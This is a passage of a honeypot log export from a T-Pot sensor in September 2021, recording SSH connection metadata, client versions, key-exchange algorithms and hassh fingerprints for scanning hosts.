"umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 59142, "dest_port": 22, "timestamp": "2021-09-20T11:11:30.420371", "@timestamp": "2021-09-20T11:11:30.420Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26275	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:30.790888+03	2021-09-20 14:15:13.060647+03	{"_id": "_gbnAnwBvYTbRNuEZR5F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "63dfe9860929", "@version": "1", "duration": 2.580723285675049, "timestamp": "2021-09-20T11:11:30.790888Z", "@timestamp": "2021-09-20T11:11:30.790Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26276	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:32.149243+03	2021-09-20 14:15:13.061646+03	{"_id": "AAbnAnwBvYTbRNuEaB-W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51566, "timestamp": "2021-09-20T11:11:32.149243", "@timestamp": "2021-09-20T11:11:32.149Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26277	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:32.339422+03	2021-09-20 14:15:13.062646+03	{"_id": "CgbnAnwBvYTbRNuEaR8w", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:36810 (192.168.176.2:22) [session: d5a2919da41d]", "session": "d5a2919da41d", "@version": "1", "protocol": "ssh", "src_port": 36810, "dest_port": 22, "timestamp": "2021-09-20T11:11:32.339422Z", "@timestamp": "2021-09-20T11:11:32.339Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
26278	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:32.427318+03	2021-09-20 14:15:13.063645+03	{"_id": "EAbnAnwBvYTbRNuEaR8w", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "d5a2919da41d", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:32.427318Z", "@timestamp": "2021-09-20T11:11:32.427Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
26279	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:11:32.440109+03	2021-09-20 14:15:13.065646+03	{"_id": "EQbnAnwBvYTbRNuEaR8w", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "06ae08e0e110", "@version": "1", "timestamp": "2021-09-20T11:11:32.440109Z", "@timestamp": "2021-09-20T11:11:32.440Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26280	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:11:32.615447+03	2021-09-20 14:15:13.066646+03	{"_id": "EgbnAnwBvYTbRNuEax9d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1962015893809916, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 36810, "dest_port": 22, "timestamp": "2021-09-20T11:11:32.615447Z", "@timestamp": "2021-09-20T11:11:32.615Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
26281	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:32.615593+03	2021-09-20 14:15:13.067646+03	{"_id": "FQbnAnwBvYTbRNuEbB9_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36810, "timestamp": "2021-09-20T11:11:32.615593", "@timestamp": "2021-09-20T11:11:32.615Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26282	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:11:32.439336+03	2021-09-20 14:15:13.069646+03	{"_id": "FAbnAnwBvYTbRNuEbB9_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 51566, "dest_port": 22, "timestamp": "2021-09-20T11:11:32.439336", "@timestamp": "2021-09-20T11:11:32.439Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26283	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:33.163052+03	2021-09-20 14:15:13.070646+03	{"_id": "FwbnAnwBvYTbRNuEbR8X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:47532 (192.168.176.2:22) [session: 39280b1bd689]", "session": "39280b1bd689", "@version": "1", "protocol": "ssh", "src_port": 47532, "dest_port": 22, "timestamp": "2021-09-20T11:11:33.163052Z", "@timestamp": "2021-09-20T11:11:33.163Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26285	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:32.976236+03	2021-09-20 14:15:13.072646+03	{"_id": "IwbnAnwBvYTbRNuEbR8b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "3e654b79c993", "@version": "1", "duration": 3.842881441116333, "timestamp": "2021-09-20T11:11:32.976236Z", "@timestamp": "2021-09-20T11:11:32.976Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26286	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:33.342769+03	2021-09-20 14:15:13.073646+03	{"_id": "JAbnAnwBvYTbRNuEbR8b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "33e3c13c5e71", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:33.342769Z", "@timestamp": "2021-09-20T11:11:33.342Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
26287	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:33.484582+03	2021-09-20 14:15:13.075645+03	{"_id": "JQbnAnwBvYTbRNuEbR8b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "d5a2919da41d", "@version": "1", "timestamp": "2021-09-20T11:11:33.484582Z", "@timestamp": "2021-09-20T11:11:33.484Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 